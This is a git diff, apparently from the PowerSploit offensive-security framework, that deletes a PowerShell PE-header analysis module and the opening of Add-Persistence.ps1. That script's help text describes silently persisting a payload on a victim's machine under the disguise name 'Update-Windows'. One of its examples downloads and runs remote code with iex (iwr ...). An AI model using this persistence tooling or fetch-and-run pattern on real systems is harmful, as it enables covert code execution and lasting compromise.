$TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - return $TypeBuilder.CreateType() - } - - function Get-ProcAddress - { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [String] $Module, - [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - # Return the address of the function - - return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - $OnDisk = $True - if ($PsCmdlet.ParameterSetName -eq 'InMemory') { $OnDisk = $False } - - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate) - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory - $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool]) - $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate) - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate) - - if ($OnDisk) { - - $FileStream = New-Object System.IO.FileStream($FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - $FileByteArray = New-Object Byte[]($FileStream.Length) - $FileStream.Read($FileByteArray, 0, $FileStream.Length) | Out-Null - $FileStream.Close() - $Handle = [System.Runtime.InteropServices.GCHandle]::Alloc($FileByteArray, 'Pinned') - $PEBaseAddr = $Handle.AddrOfPinnedObject() - - } else { - - # Size of the memory page allocated for the PE header - $HeaderSize = 0x1000 - # Allocate space for when the PE header is read from the remote process - $PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HeaderSize + 1) - # Get handle to the process - $hProcess = $OpenProcess.Invoke(0x10, $false, $ProcessID) # PROCESS_VM_READ (0x00000010) - - # Read PE header from remote process - if (!$ReadProcessMemory.Invoke($hProcess, $ModuleBaseAddress, $PEBaseAddr, $HeaderSize, [Ref] 0)) { - if ($ModuleName) { - Write-Warning "Failed to read PE header of $ModuleName" - } else { - Write-Warning "Failed to read PE header of process ID: $ProcessID" - } - - Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))" - $CloseHandle.Invoke($hProcess) | Out-Null - return - } - - } - - $DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER]) - $PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew) - $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32]) - $Architecture = ($NtHeader.FileHeader.Machine).ToString() - - $BinaryPtrWidth = 4 - - # Define relevant structure types depending upon whether the binary is 32 or 64-bit - if ($Architecture -eq 'AMD64') { - - $BinaryPtrWidth = 8 - - $PEStruct = @{ - IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER64] - NT_HEADER = [PE+_IMAGE_NT_HEADERS64] - } - - $ThunkDataStruct = [PE+_IMAGE_THUNK_DATA64] - - Write-Verbose "Architecture: $Architecture" - Write-Verbose 'Proceeding with parsing a 64-bit binary.' - - } elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') { - - $PEStruct = @{ - IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32] - NT_HEADER = [PE+_IMAGE_NT_HEADERS32] - } - - $ThunkDataStruct = [PE+_IMAGE_THUNK_DATA32] - - Write-Verbose "Architecture: $Architecture" - Write-Verbose 'Proceeding with parsing a 32-bit binary.' - - } else { - - Write-Warning 'Get-PEHeader only supports binaries compiled for x86, AMD64, and ARM.' - return - - } - - # Need to get a new NT header in case the architecture changed - $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER']) - # Display all section headers - $NumSections = $NtHeader.FileHeader.NumberOfSections - $NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes - $PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER'])) - $SectionHeaders = New-Object PSObject[]($NumSections) - foreach ($i in 0..($NumSections - 1)) - { - $SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER]) - } - - - if (!$OnDisk) { - - $ReadSize = $NtHeader.OptionalHeader.SizeOfImage - # Free memory allocated for the PE header - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr) - $PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize + 1) - - # Read process memory of each section header - foreach ($SectionHeader in $SectionHeaders) { - if (!$ReadProcessMemory.Invoke($hProcess, [IntPtr] ($ModuleBaseAddress.ToInt64() + $SectionHeader.VirtualAddress), [IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeader.VirtualAddress), $SectionHeader.VirtualSize, [Ref] 0)) { - if ($ModuleName) { - Write-Warning "Failed to read $($SectionHeader.Name) section of $ModuleName" - } else { - Write-Warning "Failed to read $($SectionHeader.Name) section of process ID: $ProcessID" - } - - Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))" - $CloseHandle.Invoke($hProcess) | Out-Null - return - } - } - - # Close handle to the remote process since we no longer need to access the process. - $CloseHandle.Invoke($hProcess) | Out-Null - - } - - if ($PSBoundParameters['GetSectionData']) - { - foreach ($i in 0..($NumSections - 1)) - { - $RawBytes = $null - - if ($OnDisk) - { - $RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData) - [Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData) - } - else - { - $RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize) - [Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize) - } - - $SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force - } - } - - function Get-Exports() - { - - if ($NTHeader.OptionalHeader.DataDirectory[0].VirtualAddress -eq 0) { - Write-Verbose 'Module does not contain any exports' - return - } - - # List all function Rvas in the export table - $ExportPointer = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress) - # This range will be used to test for the existence of forwarded functions - $ExportDirLow = $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress - if ($OnDisk) { - $ExportPointer = Convert-RVAToFileOffset $ExportPointer - $ExportDirLow = Convert-RVAToFileOffset $ExportDirLow - $ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size - } else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size } - - $ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY]) - $AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames) - $NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals) - $AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions) - $NumNamesFuncs = $ExportDirectory.NumberOfFunctions - $ExportDirectory.NumberOfNames - $NumNames = $ExportDirectory.NumberOfNames - $NumFunctions = $ExportDirectory.NumberOfFunctions - $Base = $ExportDirectory.Base - - # Recalculate file offsets based upon relative virtual addresses - if ($OnDisk) { - $AddressOfNamePtr = Convert-RVAToFileOffset $AddressOfNamePtr - $NameOrdinalAddrPtr = Convert-RVAToFileOffset $NameOrdinalAddrPtr - $AddressOfFunctionsPtr = Convert-RVAToFileOffset $AddressOfFunctionsPtr - } - - if ($NumFunctions -gt 0) { - - # Create an empty hash table that will contain indices to exported functions and their RVAs - $FunctionHashTable = @{} - - foreach ($i in 0..($NumFunctions - 1)) - { - - $RvaFunction = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfFunctionsPtr.ToInt64() + ($i * 4)) - # Function is exported by ordinal if $RvaFunction -ne 0. I.E. NumberOfFunction != the number of actual, exported functions. - if ($RvaFunction) { $FunctionHashTable[[Int]$i] = $RvaFunction } - - } - - # Create an empty hash table that will contain indices into RVA array and the function's name - $NameHashTable = @{} - - foreach ($i in 0..($NumNames - 1)) - { - - $RvaName = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfNamePtr.ToInt64() + ($i * 4)) - $FuncNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $RvaName) - if ($OnDisk) { $FuncNameAddr= Convert-RVAToFileOffset $FuncNameAddr } - $FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FuncNameAddr) - $NameOrdinal = [Int][System.Runtime.InteropServices.Marshal]::ReadInt16($NameOrdinalAddrPtr.ToInt64() + ($i * 2)) - $NameHashTable[$NameOrdinal] = $FuncName - - } - - foreach ($Key in $FunctionHashTable.Keys) - { - $Result = @{} - - if ($NameHashTable[$Key]) { - $Result['FunctionName'] = $NameHashTable[$Key] - } else { - $Result['FunctionName'] = '' - } - - if (($FunctionHashTable[$Key] -ge $ExportDirLow) -and ($FunctionHashTable[$Key] -lt $ExportDirHigh)) { - $ForwardedNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $FunctionHashTable[$Key]) - if ($OnDisk) { $ForwardedNameAddr = Convert-RVAToFileOffset $ForwardedNameAddr } - $ForwardedName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ForwardedNameAddr) - # This script does not attempt to resolve the virtual addresses of forwarded functions - $Result['ForwardedName'] = $ForwardedName - } else { - $Result['ForwardedName'] = '' - } - - $Result['Ordinal'] = "0x$(($Key + $Base).ToString('X4'))" - $Result['RVA'] = "0x$($FunctionHashTable[$Key].ToString("X$($BinaryPtrWidth*2)"))" - #$Result['VA'] = "0x$(($FunctionHashTable[$Key] + $PEBaseAddr.ToInt64()).ToString("X$($BinaryPtrWidth*2)"))" - - $Export = New-Object PSObject -Property $Result - $Export.PSObject.TypeNames.Insert(0, 'Export') - - $Export - - } - - } else { Write-Verbose 'Module does not export any functions.' } - - } - - function Get-Imports() - { - if ($NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress -eq 0) { - Write-Verbose 'Module does not contain any imports' - return - } - - $FirstImageImportDescriptorPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[1].VirtualAddress) - if ($OnDisk) { $FirstImageImportDescriptorPtr = Convert-RVAToFileOffset $FirstImageImportDescriptorPtr } - $ImportDescriptorPtr = $FirstImageImportDescriptorPtr - - $i = 0 - # Get all imported modules - while ($true) - { - $ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR]))) - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR]) - if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break } - $DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name) - if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr } - $DllName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($DllNamePtr) - $FirstFuncAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.FirstThunk) - if ($OnDisk) { $FirstFuncAddrPtr = Convert-RVAToFileOffset $FirstFuncAddrPtr } - $FuncAddrPtr = $FirstFuncAddrPtr - $FirstOFTPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.OriginalFirstThunk) - if ($OnDisk) { $FirstOFTPtr = Convert-RVAToFileOffset $FirstOFTPtr } - $OFTPtr = $FirstOFTPtr - $j = 0 - while ($true) - { - $FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct))) - $FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct) - $OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct))) - $ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct) - $Result = @{ ModuleName = $DllName } - - if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1') - { - # Trim high order bit in order to get the ordinal value - $TempOrdinal = [System.Convert]::ToInt64(([System.Convert]::ToString($ThunkData.AddressOfData, 2))[1..63] -join '', 2) - $TempOrdinal = $TempOrdinal.ToString('X16')[-1..-4] - [Array]::Reverse($TempOrdinal) - $Ordinal = '' - $TempOrdinal | ForEach-Object { $Ordinal += $_ } - $Result['Ordinal'] = "0x$Ordinal" - $Result['FunctionName'] = '' - } - else - { - $ImportByNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + [Int64]$ThunkData.AddressOfData + 2) - if ($OnDisk) { $ImportByNamePtr = Convert-RVAToFileOffset $ImportByNamePtr } - $FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportByNamePtr) - $Result['Ordinal'] = '' - $Result['FunctionName'] = $FuncName - } - - $Result['RVA'] = "0x$($FuncAddr.AddressOfData.ToString("X$($BinaryPtrWidth*2)"))" - - if ($FuncAddr.AddressOfData -eq 0) { break } - if ($OFTPtr -eq 0) { break } - - $Import = New-Object PSObject -Property $Result - $Import.PSObject.TypeNames.Insert(0, 'Import') - - $Import - - $j++ - - } - - $i++ - - } - - } - - function Convert-RVAToFileOffset([IntPtr] $Rva) - { - - foreach ($Section in $SectionHeaders) { - if ((($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -ge $Section.VirtualAddress) -and (($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -lt ($Section.VirtualAddress + $Section.VirtualSize))) { - return [IntPtr] ($Rva.ToInt64() - ($Section.VirtualAddress - $Section.PointerToRawData)) - } - } - - # Pointer did not fall in the address ranges of the section headers - return $Rva - - } - - $PEFields = @{ - Module = $ModuleName - DOSHeader = $DosHeader - PESignature = $NTHeader.Signature - FileHeader = $NTHeader.FileHeader - OptionalHeader = $NTHeader.OptionalHeader - SectionHeaders = $SectionHeaders - Imports = Get-Imports - Exports = Get-Exports - } - - if ($Ondisk) { - $Handle.Free() - } else { - # Free memory allocated for the PE header - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr) - } - - $PEHeader = New-Object PSObject -Property $PEFields - $PEHeader.PSObject.TypeNames.Insert(0, 'PEHeader') - - $ScriptBlock = { - $SymServerURL = 'http://msdl.microsoft.com/download/symbols' - $FileName = $this.Module.Split('\')[-1] - $Request = "{0}/{1}/{2:X8}{3:X}/{1}" -f $SymServerURL, $FileName, $this.FileHeader.TimeDateStamp, $this.OptionalHeader.SizeOfImage - $Request = "$($Request.Substring(0, $Request.Length - 1))_" - $WebClient = New-Object Net.WebClient - $WebClient.Headers.Add('User-Agent', 'Microsoft-Symbol-Server/6.6.0007.5') - Write-Host "Downloading $FileName from the Microsoft symbol server..." - $CabBytes = $WebClient.DownloadData($Request) - $CabPath = "$PWD\$($FileName.Split('.')[0]).cab" - Write-Host "Download complete. Saving it to $("$(Split-Path $CabPath)\$FileName")." - [IO.File]::WriteAllBytes($CabPath, $CabBytes) - $Shell = New-Object -Comobject Shell.Application - $CabFile = $Shell.Namespace($CabPath).Items() - $Destination = $Shell.Namespace((Split-Path $CabPath)) - $Destination.CopyHere($CabFile) - Remove-Item $CabPath -Force - } - - $PEHeader = Add-Member -InputObject $PEHeader -MemberType ScriptMethod -Name DownloadFromMSSymbolServer -Value $ScriptBlock -PassThru -Force - - return $PEHeader - -} - -} \ No newline at end of file diff --git a/PETools/PETools.format.ps1xml b/PETools/PETools.format.ps1xml deleted file mode 100644 index 17d2c56f..00000000 --- a/PETools/PETools.format.ps1xml +++ /dev/null @@ -1,374 +0,0 @@ - - - - - OptionHeaderTypes - - PE+_IMAGE_OPTIONAL_HEADER32 - PE+_IMAGE_OPTIONAL_HEADER64 - - - - - - PEView - - PEHeader - - - - - - - Module - - - DOSHeader - - - FileHeader - - - OptionalHeader - - - SectionHeaders - - - Imports - - - Exports - - - - - - - - OptionalHeaderView - - OptionHeaderTypes - - - - - - - Magic - - - MajorLinkerVersion - - - MinorLinkerVersion - - - - "0x$($_.SizeOfCode.ToString('X8'))" - - - - "0x$($_.SizeOfInitializedData.ToString('X8'))" - - - - "0x$($_.SizeOfUninitializedData.ToString('X8'))" - - - - "0x$($_.AddressOfEntryPoint.ToString('X8'))" - - - - "0x$($_.BaseOfCode.ToString('X8'))" - - - - "0x$($_.BaseOfData.ToString('X8'))" - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.ImageBase.ToString('X8'))" } else { "0x$($_.ImageBase.ToString('X16'))" } - - - - "0x$($_.SectionAlignment.ToString('X8'))" - - - - "0x$($_.FileAlignment.ToString('X8'))" - - - MajorOperatingSystemVersion - - - MinorOperatingSystemVersion - - - MajorSubsystemVersion - - - MinorSubsystemVersion - - - Win32VersionValue - - - - "0x$($_.SizeOfImage.ToString('X8'))" - - - - "0x$($_.SizeOfHeaders.ToString('X8'))" - - - - "0x$($_.CheckSum.ToString('X8'))" - - - Subsystem - - - DllCharacteristics - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackReserve.ToString('X8'))" } else { "0x$($_.SizeOfStackReserve.ToString('X16'))" } - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackCommit.ToString('X8'))" } else { "0x$($_.SizeOfStackCommit.ToString('X16'))" } - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapReserve.ToString('X8'))" } else { "0x$($_.SizeOfHeapReserve.ToString('X16'))" } - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapCommit.ToString('X8'))" } else { "0x$($_.SizeOfHeapCommit.ToString('X16'))" } - - - LoaderFlags - - - NumberOfRvaAndSizes - - - DataDirectory - - - - - - - - SectionHeaderView - - PE+_IMAGE_SECTION_HEADER - - - - - - - Right - - - - - - - - - - - - - - - - Left - - - - - - - Right - Name - - - "0x$($_.VirtualSize.ToString('X8'))" - - - "0x$($_.VirtualAddress.ToString('X8'))" - - - "0x$($_.SizeOfRawData.ToString('X8'))" - - - "0x$($_.PointerToRawData.ToString('X8'))" - - - Characteristics - - - - - - - - FileHeaderView - - PE+_IMAGE_FILE_HEADER - - - - - - - Machine - - - NumberOfSections - - - - - (New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($_.TimeDateStamp) - - - - - PointerToSymbolTable - - - NumberOfSymbols - - - SizeOfOptionalHeader - - - Characteristics - - - - - - - - DataDirectoryView - - PE+_IMAGE_DATA_DIRECTORY - - - - - - - - - - - - - - - - "0x$($_.VirtualAddress.ToString('X8'))" - - - "0x$($_.Size.ToString('X8'))" - - - - - - - - ImportView - - Import - - - - - - - Right - - - - - - - - - - - - - - - - Right - ModuleName - - - RVA - - - Ordinal - - - FunctionName - - - - - - - - ExportView - - Export - - - - - - - - - - - - - - - - - - - - - - RVA - - - Ordinal - - - FunctionName - - - ForwardedName - - - - - - - - \ No newline at end of file diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 deleted file mode 100644 index 28a60b91..00000000 --- a/PETools/PETools.psd1 +++ /dev/null @@ -1,89 +0,0 @@ -@{ - -# Script module or binary module file associated with this manifest. -ModuleToProcess = 'PETools.psm1' - -# Version number of this module. -ModuleVersion = '1.0.0.0' - -# ID used to uniquely identify this module -GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402' - -# Author of this module -Author = 'Matthew Graeber' - -# Company or vendor of this module -CompanyName = '' - -# Copyright statement for this module -Copyright = 'BSD 3-Clause' - -# Description of the functionality provided by this module -Description = 'PowerSploit Portable Executable Analysis Module' - -# Minimum version of the Windows PowerShell engine required by this module -PowerShellVersion = '2.0' - -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.format.ps1xml' - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - -# Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'}) - -# List of all files packaged with this module -FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1', - 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.ps1', - 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} \ No newline at end of file diff --git a/PETools/Usage.md b/PETools/Usage.md deleted file mode 100644 index 6c96b10d..00000000 --- a/PETools/Usage.md +++ /dev/null @@ -1,12 +0,0 @@ -To install this module, drop the entire PETools folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module PETools` - -To see the commands imported, type `Get-Command -Module PETools` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/Persistence/Add-Persistence.ps1 b/Persistence/Add-Persistence.ps1 deleted file mode 100644 index cd04fbf8..00000000 --- a/Persistence/Add-Persistence.ps1 +++ /dev/null @@ -1,400 +0,0 @@ -function Add-Persistence -{ -<# -.SYNOPSIS - - Add persistence capabilities to a script. - - PowerSploit Function: Add-Persistence - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: New-ElevatedPersistenceOptions, New-UserPersistenceOptions - Optional Dependencies: None - -.DESCRIPTION - - Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. - -.PARAMETER ScriptBlock - - Specifies a scriptblock containing your payload. - -.PARAMETER FilePath - - Specifies the path to your payload. - -.PARAMETER ElevatedPersistenceOptions - - Specifies the trigger for the persistent payload if the target is running elevated. - You must run New-ElevatedPersistenceOptions to generate this argument. - -.PARAMETER UserPersistenceOptions - - Specifies the trigger for the persistent payload if the target is not running elevated. - You must run New-UserPersistenceOptions to generate this argument. - -.PARAMETER PersistenceScriptName - - Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. - -.PARAMETER DoNotPersistImmediately - - Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. - -.PARAMETER PersistentScriptFilePath - - Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. - -.PARAMETER RemovalScriptFilePath - - Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. - -.PARAMETER PassThru - - Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. - -.INPUTS - - None - - Add-Persistence cannot receive any input from the pipeline. - -.OUTPUTS - - System.Management.Automation.ScriptBlock - - If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. - -.NOTES - - When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. - -.EXAMPLE - - C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM' - C:\PS>$UserOptions = New-UserPersistenceOptions -Registry -AtLogon - C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose - - Description - ----------- - Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. - -.EXAMPLE - - C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } - C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle - C:\PS>$UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle - C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 - - Description - ----------- - Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] - [ValidateNotNullOrEmpty()] - [ScriptBlock] - $ScriptBlock, - - [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )] - [ValidateNotNullOrEmpty()] - [Alias('Path')] - [String] - $FilePath, - - [Parameter( Mandatory = $True )] - $ElevatedPersistenceOptions, - - [Parameter( Mandatory = $True )] - $UserPersistenceOptions, - - [ValidateNotNullOrEmpty()] - [String] - $PersistenceScriptName = 'Update-Windows', - - [ValidateNotNullOrEmpty()] - [String] - $PersistentScriptFilePath = "$PWD\Persistence.ps1", - - [ValidateNotNullOrEmpty()] - [String] - $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1", - - [Switch] - $DoNotPersistImmediately, - - [Switch] - $PassThru - ) - - Set-StrictMode -Version 2 - -#region Validate arguments - - if ($ElevatedPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOptions') - { - throw 'You provided invalid elevated persistence options.' - } - - if ($UserPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOptions') - { - throw 'You provided invalid user-level persistence options.' - } - - $Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop - $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop - $PersistentScriptFile = '' - $RemovalScriptFile = '' - - if ($Path -eq '') - { - $PersistentScriptFile = "$($PWD)\$($Leaf)" - } - else - { - $PersistentScriptFile = "$($Path)\$($Leaf)" - } - - $Path = Split-Path 